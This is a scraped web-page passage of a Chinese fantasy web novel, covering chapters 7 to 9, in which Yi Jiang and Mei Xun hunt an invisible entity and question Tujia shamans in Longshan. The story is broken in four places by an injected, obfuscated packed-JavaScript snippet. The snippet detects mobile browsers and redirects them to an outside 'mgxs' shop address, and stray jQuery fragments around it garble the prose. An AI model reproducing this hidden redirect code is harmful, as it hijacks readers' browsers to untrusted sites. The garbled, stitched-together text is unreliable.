“还在查,对方走的不是道上的路,所以有点难,还需要点时间。”说到这,俟裕看了看宜姜,小心翼翼地开口:“宜姜小姐,你真要带着这个梅询去拜帖啊?” “去啊,为什么不去?” “感觉风险很大。” 宜姜沉默了几秒,还是转移了话题:“之前让你准备好的衣服,你准备好没有?” 俟裕:“都准备好了。不过,宜姜小姐,族里有人想开窑。” “这种时候开窑?”宜姜不可置信地问了一句,“是他们疯了还是我疯了?” 俟裕之前听到的时候也是这种反应,但这事必须要和宜姜知会一声。 宜家上次开窑在四年前,照例说,五年一窑,现在还差一年才能重新开,不然铁定是个废炉。 宜姜冷哼了一声:“是谁提的?” 俟裕小声说了一个名字。 又是他,宜姜不耐烦地叹了一口气,总感觉奶奶生的孩子里大部分都有病,之前她一直以为自己家已经够过分的了,直到见到二伯,才发现人外有人天外有天。 “你替我和二伯说,有想开窑的功夫,他不如想想之前奶奶和他说过什么话。” 俟裕尴尬地点头。 “算了。”宜姜看了看俟裕,“下次我回老宅自己跟他讲,你就传达一下我的意愿,我不同意。” 俟裕松了一口气,他也不想去见那个传说中的宜姜二伯。 “还有什么需要我定的东西?” 俟裕打起了精神:“前段时间,红差的刀出了点问题,见血了,我们的人把刀拿回来封住了,但也只能暂时封住。” 红差,是古代刽子手的别称,那把刀自然就是用来砍头的凶器,也算是之前宜家单子的后续服务了。 宜姜顺势站起来:“带路吧,我去看看,顺道把事情弄完,后续就不需要老宅再派人了。” 俟裕感激地笑笑,怪不得之前其他地方的人总希望上面来的人是宜姜,这效率,真没谁了。 红差的那把刀被关在地下,宜姜跟着俟裕下去,远远地就望见了那把刀,整个刀身都被一根红色的缎带缠绕住,只堪堪露出一个刀柄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470799|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等走近了,周围的温度都低了好几度,俟裕突然站住,他脚下正好有一根红线,他就站在红线外。 宜姜脚步不停,直直朝着那把刀走过去,直接摸上了那个刀柄。 很冷,冷得让人忍不住打颤,宜姜握刀的手紧了紧,眼神里满是凝重。 “走远一点。”宜姜嘱咐了一句,俟裕赶忙又往后退了好几步。 宜姜一圈一圈地拆开绑住刀身的红缎带,动作慢吞吞的,俟裕在一旁都紧张得屏住了呼吸。 等全部拆完,宜姜把红缎带扔到了一边,用手摸了摸刀身,看起来有点年份了,是把好刀。 突然,那把刀整个抖了一下,不受控制地开始动来动去。 宜姜用手指慢慢地在刀身上画了个符号,一个很简单的动作,刀却莫名地停下来了。 接着,宜姜轻轻用手敲了敲刀身,一阵清脆的声音响了起来,她等声音完全消下去了再在刀身上摸来摸去,但奇怪的是,那锋利的刀锋却伤不到她的手。 确定这把刀的问题之后,宜姜抬起头,和那边站着快变成木头的俟裕说:“这把刀,嗜血期到了,你有问过那边红差的人吗?他们那应该记录的比我们准确一些。” 俟裕为难地摇摇头:“红差的人也没剩几个,看样子应该是不知道有这个惯例。” 宜姜低头思考了一会,给出了解决办法:“你和红差的商量一下,要是做血祭,我们就尽快把刀给他们送回去;要是不准备要了,这把刀我就带回老宅去封起来,报酬可以商量,这方面具体的你问问宜明喆。” “那现在这把刀怎么办?” 宜姜弯腰把地上的红缎带又捡了起来,一圈一圈地重新缠绕了回去。 “先暂时封着,等红差那的消息。”说到这,宜姜又问,“这次红差也收到了山君帖?” 俟裕:“收到了,但他们似乎不打算参加,只是派了个人过来拜帖。” 把刀重新放回原处,宜姜忍不住又摸了摸那个刀柄,这种开了刃的老古董,也算是少见的了。 处理完刀的事情,宜姜就准备走人,俟裕看了看外面依旧的瓢泼大雨,建议道:“宜姜小姐,要不你再等会回去,等雨小一点?” 宜姜看着外面雾气腾腾的路,回头郑重地说:“我觉得也是,那就再坐会。” ****** 梅询站在窗户边看着外面,雨下很大,能见度其实已经很低了,但他也不知道除了看外面,他还能做些什么。 突兀的敲门声响了起来。 梅询的嘴角上扬,快走了几步正要打开门,但手刚碰到把手,他就觉得不太对劲。 “谁?” 门口沉默了几秒,接着用含糊的声音说:“客房服务。” 梅询整个人都冷了下来,那个东西,又来了。 想清楚怎么回事之后,他第一反应就是和之前一样,先逃,逃走之后换个地方生活,但宜姜还没回来,他答应过她会一起参加拜帖。 他握着把手的手忍不住抖了抖,还是心一狠把门打开了。 门口什么都没有,就好像之前只是他的一场幻觉。 梅询却像泄了气一样,紧绷的心一下子松开,他立马又把门关上,头还没转过来,房间里就响起了动静。 那个东西,已经进来了。 冷静冷静,梅询反反复复在心里念叨,对,宜姜说过,那个另一脉的捉妖师也在这个酒店,得去找他。 想到这,梅询一下子把门拉开冲了出去,边跑边努力感应着气息,昨天那只小黑猫的气息。 找到了! 他直接从楼梯跑了下去,得快点,再快点! 8. 第七章 到最后,雨还是一如既往的大,宜姜打了个哈欠,把装有衣服的袋子一拎,和俟裕打了声招呼:“我先走了。” 俟裕看了看外面的大雨,表情不言而喻。 “再等下去,这雨也小不了,走了,不用送了,你和红差那尽快联系一下,我在这也待不了多久。” 俟裕点点头,还是撑着伞把宜姜送到了车上。 宜姜一进车里就把雨刷器打开了,雨天开车很是麻烦,她把袋子往副驾下面一放,系上安全带就启动了车子。 大雨天,路上都没什么车,宜姜开得也还算轻松,突然,后视镜闪过了一个什么东西。 宜姜把车速降了点,眯着眼试图往后看,结果就这一会儿功夫,自己的车就撞上了什么东西,砰的一声,她整个人被撞得几乎从驾驶座飞了起来。 宜姜被撞得懵了几秒,反应过来之后赶紧踩了刹车,但雨天路滑,她的车往外面滑了一段才堪堪停下。 刚停下,宜姜就飞快从车上下来,连雨伞都没拿,她刚刚是撞了个什么东西? 之前发生碰撞的地方什么东西都没有,只有一滩不知道是不是血的红色液体,被雨一冲也慢慢稀释了。 宜姜用指尖沾了沾地上的红色液体,摩挲了一下,有点像是血,但这个出血量也太少了些。 关键是,那被撞的东西呢?不管是人还是什么,总是会出现在案发现场的吧。 雨依旧下着,那滩东西渐渐被雨水带走了,就像什么都没发生一样。 只留下一个宜姜站在这。 自己刚刚是撞了什么东西的吧?宜姜愣了几秒,在原地又左右找了找,还是什么都没有。 她怀着一种"我在做梦吗"的心情走回车边上,又不死心地在车头摸了摸,这次,她摸到了一个凹陷。 我果然撞到了什么! 宜姜激动了起来,也不顾瓢泼大雨,她仔仔细细把车都摸了一遍,只有车头有个痕迹。 一个会流血的看不见的东西? 宜姜得出了这个答案。 接着,她记住了这个发生事故的地方,浑身湿漉漉地上车开回酒店。 结果,她好不容易停好车,刚拎着袋子走了几步,就看到梅询蒙头从酒店朝她那冲了过来。 "啪" 两个人撞在了一起。 “对……对不住……”梅询慌忙爬起来,连人都没看清楚就开始道歉。 宜姜捂着额头,自己今天这是怎么了,怎么能倒霉成这样。 梅询低着头把撞飞的袋子捡起来,赶紧递给自己撞到的那个人,这时候,他才发现,这人是宜姜。 “宜姜!怎么是你。” 宜姜嘶了一声,爬了起来,扶着脑袋问:“不是我还能是谁?你怎么没戴口罩?你在躲什么东西?那个捉妖师来找你了?” 梅询摸了摸脸,之前跑太匆忙,口罩什么时候掉的都不知道。 “你怎么全身都湿透了?不是捉妖师,是一个看不见的东西。”梅询喘了口气,继续说,“你头上受伤了吗?” 宜姜看着因为这个动静渐渐多出来的人,对着梅询嘘了一声,然后拉着他坐电梯回房间。 一关门,梅询的话就脱口而出:“宜姜,你还好吧?” 宜姜指了指他手上拿着的袋子:“这是我让俟裕给你准备的衣服。” 说完,她看了看自己这个浑身湿透了甚至头发还在往下滴水的样子,补了一句:“我洗个澡换套衣服,你在外面等等我。” 梅询嗯了一声,拎着袋子找了个凳子坐下,然后呆呆地看着袋子里的衣服。 和宜姜见面之后,他一直都有一种怎么会这么巧不会是在做梦吧的感觉,太不真实了,而且,这个宜姜和大学时候也不太一样。 宜姜换了套衣服出来,依旧是从头到脚一身黑,上衣的衬衫还有两颗没扣上,露出雪白的肌肤,头发吹得半干不干的,还是会往下滴水。 “你刚刚遇到什么了?” 梅询低头不敢看她,轻声回答:“我之前遇到过一个我完全看不见的东西,但是我能察觉到它就在我周围,刚刚我在房间又察觉到了,而且它离我越来越近,为了甩掉他,我去找了早上你说的那个捉妖师,但没甩掉。” 看不见的东西? 宜姜坐在床边,盯着一直低着头的人思考了起来,这个怎么和自己刚撞上的那个东西差不多来着。 “你什么时候遇上的?” 梅询回忆了一下:“来湖南就遇上了,之前不太频繁出现,可能两三个月才有一次,而且只是远远地注视着我。” 所以,他对一些视线都极其敏感。 宜姜想了想这个场景,鸡皮疙瘩都要出来了,一个别人都看不见却一直监视着自己的隐形东西,这得多崩溃。 这就是之前梅询不能长期工作只能打零工的原因吗? 虽然想到这一茬,但宜姜还是没开口问,以现在俩人的交情,点到为止就好。 宜姜问了另一个角度的问题:“你有想过离开湖南吗?可能这个东西就在湖南跟着你。” “有想过这个问题。”梅询点点头,抬起头看向她,视线却只落在她的脸上,也不敢乱瞟。 “你现在能感受到那个东西还在你周围吗?” 梅询努力感受了一下,摇摇头:“已经不在了。” 宜姜的手轻轻敲了敲被子,思考了一会说:“你把当时的情景再详细和我说一遍。” 等听完梅询的回答,宜姜皱起了眉头:“这个东西,还会说话?” 梅询也这个时候反应过来,对啊,这个东西已经从远远注视变成了主动出击,甚至还学会说话了。 等等,学会说话? 梅询咽了咽口水,语气轻飘飘地说:“这个东西,不会一直在模仿我吧?” 宜姜也愣了一下,对她而言,这就是自己刚刚撞到的一个奇怪东西,了解不深,但梅询可是实打实被跟了一年多的。 从这个角度看,的确很像是一个非人的东西在学习甚至想替代被它选中的人类。 那么,被自己撞到的那个东西究竟是来找自己的,还是去找别人的,又或者现在是生还是死? 梅询在一旁又继续说:“那个东西出现没什么规律,消失也没有。” 这个时候,宜姜发丝的水积多了往下落,慢慢划过肌肤,落入了黑色衬衫里,梅询无意识地跟着水珠往下看,等看到的时候才意识到这样不对,他赶紧僵硬地把头转开。 宜姜没察觉什么,依旧在思考着,不管那个东西是什么,反正这个龙山县有问题。 她利落地站起来,对梅询说:“你把衣服放回你自己房间,等会和我下楼,我去问问别人。不过,刚刚你那样,你的脸应该也被看得差不多了,遮不遮看你自己。” ****** 十分钟后,宜姜带着梅询下楼,径直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470800|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到大堂找了个位置坐下,前台有个人立马跟了过来。 “宜小姐,您需要些什么茶点饮料?” “要点红茶吧。” 茶很快上上来了,宜姜叫住了正要退下去的服务员:“龙山这有什么奇怪的民俗故事吗?” 梅询看了看服务员惊讶的表情,补充道:“我们找点素材写小说。” “宜小姐,龙山这一直很太平来着,也没什么奇怪的故事。”说完,服务员不好意思地笑笑,拿着盘子下去了。 梅询没戴口罩,喝了一口茶后提议:“要不要问问这里的其他人?” 宜姜用手比了个“嘘”的姿势。 不一会儿,一个穿着一身红,容色艳丽的女人走了过来。 “请问,能拼个桌吗?” 宜姜笑着回答:“当然可以了。” “你们也是来参加山君拜帖的吧?” 宜姜点点头。 红衣女人笑了笑,伸出了一只手:“自我介绍一下,出马仙,胡湘。” 宜姜握上了她的手,也自我介绍了一下:“骨瓷,宜姜。” 胡湘听到前面没什么反应,但听到这个名字,她突然一下子抬头看向宜姜的眼睛。 “怎么了?”宜姜好脾气地问。 胡湘直截了当地说:“你的名字,很有意思。” 宜姜打断了她的话:“只是名字而已。对了,这位是我的守鞘。” 梅询朝胡湘点点头。 胡湘撩了撩头发,也不再纠结于宜姜这个名字,她轻声说:“刚刚听你们问在龙山这有什么奇怪的事情,我呢,来得早,刚好知道一些。” 宜姜做出一副愿闻其详的样子,坐姿都正经起来。 “听说啊,这龙山县有着不少土家梯玛,都住在那种山沟沟里,平日也不出门。但是吧,就在十几年前,这地方突然一下子涌出了一大堆土家梯玛,每个人都行动诡异,每天都在龙山县走来走去。他们自称,他们是在找神,甚至有一个人激动地说他快找到了,但这里的人当时什么都没看见,只觉得是他们疯了。” 宜姜往梅询那侧了侧身,低声解释:“土家梯玛,就是土家族的巫师。” 解释完,宜姜又问胡湘:“然后呢?” “然后,就不了了之了,那群梯玛在这里徘徊了大半年,后来陆陆续续地都回去了。” 宜姜用指腹轻轻敲了敲桌子,什么都看不见的神,和自己撞到的那个差不多。 胡湘说完这一茬,继续笑眯眯地盯着宜姜看:“我知道的,就只有这一桩事了,也不知道能不能帮上你的忙。” “谢谢了。” 宜姜话还没说完,胡湘就把手机往她那一递:“那就加个好友吧,朋友之间互相帮助嘛。” 宜姜原以为胡湘过来,是冲着宜家的名号,毕竟宜家之前也跟出马仙有过合作,但现在胡湘的这番话就完全把她刚刚给出的消息变成了朋友间的聊天,宜姜完全不用付出什么就得到了这个消息。 宜姜想不通胡湘这样做的原因,但还是扫码加了好友。 胡湘把手机上的联系人看了又看,确认加上之后,礼貌地和两个人说再见了。 等离开了那,胡湘突然回过头看了两人一眼,确认离得够远了,她用微不足道的声音问道:“仙家,您让我去和宜家打好关系是为什么?” 她身体里响起了另一道声音,尖锐刺耳:“别问,照做就是。” 9. 第八章 梅询转过头和宜姜说:“那个胡湘身上有妖?” “你是捉妖师还是我是?”宜姜轻声回了一句,接着又用正常声音说,“走吧,我们去找找土家梯玛,问问他们找的神是什么东西?” 梅询苦笑一声,虽然他是捉妖师,但他现在只是个半吊子啊。 就在这个时候,两人脸色一变,宜姜赶紧拉着他打算上电梯,但大堂里的人脸色都变了,有部分也朝着电梯走过去。 宜姜停顿了几秒,拉着梅询反方向出门:“我们去车上。” 等两个人上车,把车窗全部都拉上,宜姜才把一直贴身带着的山君帖拿了出来,梅询也把自己的掏了出来。 山君帖的背面突然出现了一张地图路线,拜帖的地点出来了。 宜姜迅速打开车里的导航屏幕,对着山君帖的路线图缩小移动,最后确定了地方。 “在惹巴拉。”宜姜和梅询看着地图异口同声地说。 惹巴拉是个景区,还是小有名气的那种,把拜帖地点定在这个地方,虽然他们能假扮成游客,而且不太会被发现,但另一方面也在一定程度上会造成人员混乱。 宜姜一直觉得拜帖应该是那种老式安静的,一个人一个人进去,结果现在这样反而让她觉得这个山君宴好像也不是那么传统严肃的东西。 梅询倒没什么想法,对于山君宴的流程,他虽然稍微清楚一点,但实际上也没知道多少。 宜姜先开始说话:“我们和别人错开去惹巴拉。” 梅询想了想,问道:“先去找土家梯玛?” “没错,我给俟裕打个电话问问,这龙山县的梯玛现在还在世上的都有谁。” 电话那头的俟裕听到这个要求,虽然很是疑惑,但还是应下了。 外面的雨渐渐小了,两个人在车里等着俟裕的消息。 酒店陆陆续续出来了不少人,每个人都神色匆忙。 梅询顺着宜姜的视线往外面看去:“参加山君宴的有那么多家吗?” “不一定,有些只是参加拜帖,不参加宴会,就是我之前和你说过的,带上赔礼来拒绝宴会。” “那干脆不来不就是了,还要那么麻烦的吗?” 宜姜转过头,简洁地说:“这种宴会也有很大一部分作用就是和道上的说,自己家还活着,而且也没有那种隐退的打算,相当于是一种另类展示。” 梅询点点头表示知道了。 “你之前提到过的那个看不见的东西,你一直就这样忍了一年?”宜姜突然说。 梅询惊讶地看向她,似乎是没想到宜姜会问这个问题,他慢慢开口:“有想过办法,但那个东西出现得毫无规律,而且也就只是盯着,每次我都换个地方,换个地方就能清净一段时间。” “不过,你之前大学的时候不是在浙江生活吗?怎么突然工作来湖南了?” 梅询的手摩挲了几下自己的衣角,下意识舔了舔嘴唇,他说:“换个环境吧,毕竟我就自己一个人,在哪都可以活。” 宜姜想了又想,还是说:“解决了那个看不见的东西之后,你还是找个正经工作上,一直频繁打零工对身体不好。” 察觉到自己说的话有歧义之后,宜姜又补充道:“不是觉得打零工不好的意思,但在你力所能及的范围里还是让自己过得不那么辛苦好一点。” “我知道你是好意,我会考虑的。”梅询微笑着点点头,“你这一年也在湖南工作吗?” 宜姜停顿了几秒。 “要是不方便回答可以不回答的。”梅询小心翼翼地说。 “没有。我毕业之后各地跑,湖南倒是比较少回来了。” 梅询点点头,一副恍然大悟的神情。 宜姜低头看了一眼手机:“名单给我了,我看看昂。按照岁数来算,我们先去找最大的这个,让我先输个地址导航一下。” 梅询在旁边低头偷偷笑了下:“好。” ****** 这个年纪最大的梯玛住在龙山县最靠近山的地方,孤零零的一间屋子,全是石头堆砌的,这种年岁,已经很难能看到这种旧时代的建筑了。 宜姜下车后不着急去敲门,反而一边撑着伞一边在后备箱里翻来覆去找东西。 梅询也凑过来帮忙,接过了宜姜手里的伞:“你要找什么?” “之前我记得放在这的保健品吧,来人家这总得带东西上门啊,不然多不礼貌,更何况我们还是来找人帮忙的。” 梅询愣了一下,他完全没想到这个。 就这会功夫,宜姜满意地拎着两盒袋子从后备箱把身体探出来,她顺手把东西递给了梅询一个。 两人就这样一人提了一盒去敲响了门。 “谁啊?”沧桑又黏糊的声音从门里面传来。 “我们来找梯玛有事情。”宜姜回答。 门打开了,出来了一个瘦小的老人,浑身灰扑扑的,耳高于眉,有一双明亮又锐利的眼睛。 “我就是梯玛,你们有什么事情?” 宜姜把手里的东西拿起来晃了晃:“我们进去说呗,事情一时半会也讲不完。” “进来吧。”这位梯玛把门开得又大了些,给两位访客各找了把木凳子。 宜姜示意梅询一起把东西放下再落座,接着她直入正题:“我们想知道十几年前那场寻神的后续。” 许是没料到他们会问这个,梯玛犹豫了一下,但还是缓缓说道:“十几年前,其实更早的寻神记录是在上个世纪中期,我们梯玛是通过法器和神明沟通的,但那个时候,我会频繁做梦梦到神明寄语,日复一日,重复说着一个地方。” “龙山县?”梅询问了句。 “是的,就是龙山县,于是我就穿着做法事的衣袍来到了县里,在这里我发现不止我一个有这种情况,而是几乎湖南所有的梯玛都听到了。” 梯玛说到这,停顿了几下,喘了几口气之后继续说:“那个时候我坚信神明就在这里,只是因为我们肉眼凡胎看不见罢了,而且我有一种感觉,神明就在一直注视着我。” 梯玛的神色变得不对劲起来,他的喘气声越加粗犷,脸上也慢慢涨红。 宜姜不经意把梅询挡在后面,对着梯玛说:“然后呢?” 梯玛头疼似的摇了摇头,接着说:“神突然就消失了。” 梅询看了梯玛好几眼,拉着宜姜小心翼翼地说:“这个梯玛……” “是神!”梯玛突然喊了一声。 两个人吓了一跳,梅询瞬间站起来把宜姜拉着护在身后。 “什么神?”宜姜从梅询身后探出一个脑袋。 梯玛却开始自言自语起来:“神在哪里?对了,神在哪呢?我得去找神,我的衣服呢,还有法器……” 两个人就看着梯玛在屋子里乱转,手上拿了个八宝铜铃,叮铃铃的声音吵个不停。 宜姜看了看已经陷入自己世界的梯玛,叹了一口气,和梅询说:“走吧,问不出什么了。” 临出门的时候,梯玛的声音从后面悠悠传来:“神看见你们了。” 梅询猛地一转头:“谁看见了?” 梯玛又恢复了之前那副灰扑扑的样子,平静开口:“不知道。这是我用法器得出来的结果。” 宜姜问了一个奇怪的问题:“你说的神,只有一个吗?” 梯玛语气古怪地问答:“神,只是神。” 接着,梯玛就开始送客了:“时候不早了,我送你们出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470801|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吧。” “等等,我再问最后一个问题。”梅询扒住门,“神给提示让你们去龙山县找它,找到它之后呢,它要你们做些什么?” “孩子,你要知道,我们并没有找到神。” ****** 在车里只有他们两个人的时候,梅询思考了一会问:“宜姜,你是也碰到了那个东西吗?” 宜姜握着方向盘的手顿了顿:“不确定,也许是。” “是因为我,所以你才……” 宜姜重新弄了下导航,打断了他的话:“和你没什么太大关系。不是和你,我也会来龙山的,按照那位梯玛的话,这地方有那种东西,我迟早也会被缠上。” 而且,自己和那个看不见的东西遇见,谁更倒霉还不一定呢,毕竟被车撞出血的可不是我,宜姜想。 梅询垂下眼,手无意识地摩挲了几下,他问:“我们接下来再去问下一个梯玛?” “对,再找几个,综合一下他们说的消息。然后我们再回俟裕那,查查看上世纪中期的那次寻神有什么东西记录下来。” 两个人把要拜访的都拜访了一遍,那几个梯玛说得都差不多,有些还不如第一个梯玛知道得多,但起码证实了寻神这件事是真实发生的。 宜姜把车熟练地停到据点附近,这次,据点门口却站了一个陌生男人,二十几岁,穿着一身白,裤子都快拖地上了。 梅询在旁边突兀开口:“这是那天那个捉妖师,兰成弘。” “他怎么会在这待着?”宜姜疑惑地自言自语道,招呼着梅询下车。 随着两人走近,宜姜看到了那张脸,很大众的长相,最让人一眼注意到的,是他鼻子上的一颗浅痣。 兰成弘正站在门口整理等会要说的话,背后却传来了一个声音。 “你怎么在这?” 兰成弘转过身,一个是之前死活找不到但刚刚在酒店像见鬼一样往自己房间冲进来的妖梅,一个是自己一看见那张脸就忍不住哆嗦的宜家骨瓷。 “我……”兰成弘张了张嘴,忍不住往后退了几步,“我找宜家主事的。” 宜姜快步走过他,拉开了门:“那就先进来吧。” 兰成弘戴上假笑面具,拘谨地朝屋子里走了几步,梅询在后面推了推他,悄声和他说:“走吧,里面没别人。” 俟裕并不在这,听到开门声,程沐抱着猫猫转过头,惊喜地说:“宜姜小姐!” “俟裕呢?” 程沐紧接着看到了后面跟来的两个男人,她把要说出口的话,换了一句:“送刀去了。” 宜姜转过身,对后面的两个人说:“我先去查点东西,你们俩找个地方坐会儿。” 说完,她就带着程沐往里走了。 梅询左右看了看,找个没人的地方坐了下来,兰成弘赶紧跟着他一起坐下。 “你们这几年有用过什么奇怪的东西来找我吗?” 兰成弘摊了摊手:“没有。要是我们有能找到你的东西,我还用在这个龙山县等着你过来吗?要知道这次山君帖出现,三家都没收到,我们就知道肯定是在你手上了,他们就让我在这里蹲着。” 梅询点点头,之前他在没来龙山县之前,一直以为那个看不见的东西是捉妖师那边搞出来抓他的,或者说是监视,所以这次他听到那个东西说话,才想着往兰成弘那个地方跑过去,结果那个东西依旧只跟着自己。 兰成弘做贼心虚式地左右看了看:“你怎么和宜家扯上关系了?” “怎么了?” 听着梅询的反问,兰成弘低声说道:“这宜家,以开窑做物为生,之前有人传言,他们拿人作为开窑的祭品,每次开窑都要杀几个人,用人血炼器。” 10. 第九章 宜姜回头看了看后面,那两个人已经找地方坐下了,她这才开始问程沐:“红差已经决定要开始血祭了?” “他们没说,只是突然打电话来要把刀要回去,具体的等过几天他们再和我们商量。” 宜姜百思不得其解:“他们能控制住暴走的刀?” 程沐解释:“红差把暂时的封印也一起要走了。” 有点奇怪了,之前那么着急把刀送过来,现在又那么着急把刀拿回去。 程沐打开房间门把小猫放下,小猫一沾到地就跑没影了,宜姜找了个椅子坐下。 “俟裕一个人去的?” “那没有,怕刀半路出意外,也带了几个人走。” 宜姜思考了一下,开始问:“关于这里的梯玛,你知道多少,那种不常见的。” “梯玛啊。”程沐腼腆地笑笑,“我就是。” 宜姜惊讶了一下:“你是梯玛?” 程沐害羞地点点头:“对啊,那份名单就是我整理的。不过我了解的也不是很多,这些年,梯玛也越来越少了。宜姜小姐,你是想知道哪些方面的呢?” “关于神。” 程沐脑子里想了一下:“是之前那个寻神事件吗?” “没错。” “寻神,按照我爸的说法,其实那严格来说并不是神,而是一个看不见的东西能够连接到梯玛的梦境里,并且给予心理暗示。但他们想要做些什么,其实是没有办法去知道的,因为寻神就出现过一次。” 宜姜手指无意识地动了动,之前那些梯玛也都说只有一次,但最开始的那个老人说,是从上世纪中期开始的。 “梯玛上世纪中期有什么奇怪的地方吗?” “上世纪中期?1950年左右?”程沐皱着眉思索着,最终还是摇了摇头,“好像没什么特别的。” “你认识龙山县目前为止年纪最大的那个梯玛吗?” 程沐还是摇摇头,但过了一会又疑惑地点了点头:“我知道,也见过面,但没有说过话。他是个与众不同的梯玛,一直守着旧时代的惯例活着。” 宜姜整合了一下消息,并没有什么能突破的地方。 “俟裕什么时候回来?” 程沐看了看手机时间:“他两个小时前出去的,应该也快回来了。” “红差也住在龙山县附近?” “前几年搬过来的。” 程沐看了几眼宜姜的眼睛,小心翼翼地开口:“宜姜小姐,我能和您合个照吗?” 宜姜懵了:“合照?” 程沐慌忙解释:“要是不方便的话那就算了。” 宜姜看着她,叹了口气说:“我不拍脸的,抱歉啦。” 程沐遗憾地在心里哀叹了一声,表面不动声色地说:“没事没事,我就提一嘴来着。” “之前那个弄假帖子的人找到了吗?” 程沐的脸色瞬间正经起来:“已经找到一点线索了,不过还是要再往里查查才能确定。” 宜姜若有所思地点点头:“行。外面那个陌生男的是捉妖师兰成弘,来找宜家主事的,俟裕不在的话,等会你出面一下。” 说完,她低头看了看时间,已经快晚上了。 “我就不等俟裕了,人到了和我报个平安。”宜姜边说边站起来往外面走。 程沐赶紧跟上,两个人到前面的时候,梅询和兰成弘也正好处于相顾无言的尴尬状态里。 梅询一看到宜姜,就松了一口气,动作迅速地走到她旁边站着。 兰成弘扭扭捏捏地走过来,程沐一脸营业笑地拦住了他:“兰先生,您找宜家有什么事,我们到这里来说说。” 兰成弘一脸诧异地盯着宜姜,宜姜对这种半夜还试图去弄人的家伙毫无好感,撇开了眼睛,转头和梅询说:“走吧,不早了,我们回酒店。” 兰成弘就听见梅询一秒也不带犹豫地答应了,不是,兄弟,我们俩才是捉妖师,是一家的好不好,解除了误会,你怎么还把我一个人扔这。 之前那个分身被毁之后,兰成弘就在努力去找记忆片段,找了半天只记得一个“宜家”“赔礼”,再加上今天见到了梅询,自然能联想起和他一起的宜家,没办法,他只好过来碰碰运气。 开门走之前,宜姜突然和程沐交代道:“你送点日常用品给那几个梯玛,态度好一点,他们家里有什么缺的也送,钱从我账里扣。” 程沐愣了一下,回答:“好的。” ****** 梅询在车上问:“怎么样了?” 宜姜把安全带系上:“没怎么样。” “刚刚……”梅询说了几个字,偷摸看了一下宜姜,“我去问了那个兰成弘,这个东西和捉妖师那没什么关系,他完全不知道。” 宜姜认真开着车,嗯了一声。 “我们是明天去惹巴拉吗?” “明天中午吃完饭,从这里到惹巴拉走高速也要一个多小时,到时候还要算回来的时间。” 梅询不说话了,他盯着自己那侧的玻璃,玻璃上照映出他的眼睛,以及开车人的侧脸。 宜姜突然转过头:“你找找看明天有没有票能直接从惹巴拉附近的高铁站到你现在住的地方的,我明天拜帖结束送你去高铁站,接下来也没什么事要做了。” “嗯……嗯好的。”梅询慌张避开她的视线,“那你明天结束了去哪?” “我?”宜姜反问道,“大概也是回家,山君开宴也没那么快,一步一步流程下来,最快也要到冬天了。” 说到这,宜姜很严肃地交代道:“别把我的事情说出去,你是捉妖师的事情我也不会说。” 梅询赶紧坐起身:“我肯定不会暴露你的事情。” “那就行,你快看票吧,现在不是旅游季,应该票还能买到。” 梅询低头开始搜索地点了,的确有很多余票,但是他也只是上下滑动了一下,并没有点进去买。 宜姜并没有发现,她只看到梅询在手机上点了点就关手机了,她问:“你买的几点的?” “下午18:11,芙蓉镇的站点。” 宜姜在导航上搜了搜路线,惹巴拉到芙蓉镇也要一个多小时,来回都算上的话,是要四五个小时了,中午吃完饭一点出发也来得及,她回来刚好是晚上。 “行,到时候你把东西全带上,结束完拜帖,我直接开车去芙蓉镇。” 梅询纠结了一下,还是开口:“麻烦你了。” 到了酒店,两个人也没什么话要说,都各自回房间待着。 宜姜把帘子拉上,这才把口罩摘下来,她无意识地打了个哈欠,昨天被那个东西弄得都没睡好,但事情还没做完。 她爬上床,把随身带的笔记本电脑打开,熟练地点开里面的一个软件,用密码解锁之后,在自己那一栏上下滑了滑,没什么重要的任务。 这是宜家的内网,宜家一脉,千年传承至今,他们把开窑的窑主称作骨瓷。 之前宜家大部分人都住在老宅里,除了开窑也基本不对外接触,但从几百年前开始,宜家的很多旁支纷纷离开老宅在外面生活,所以,这百年住在老宅的就只有一个主家,而且这主家人丁也不算兴旺。 宜姜这一代的,加上她满打满算也才四个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470802|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 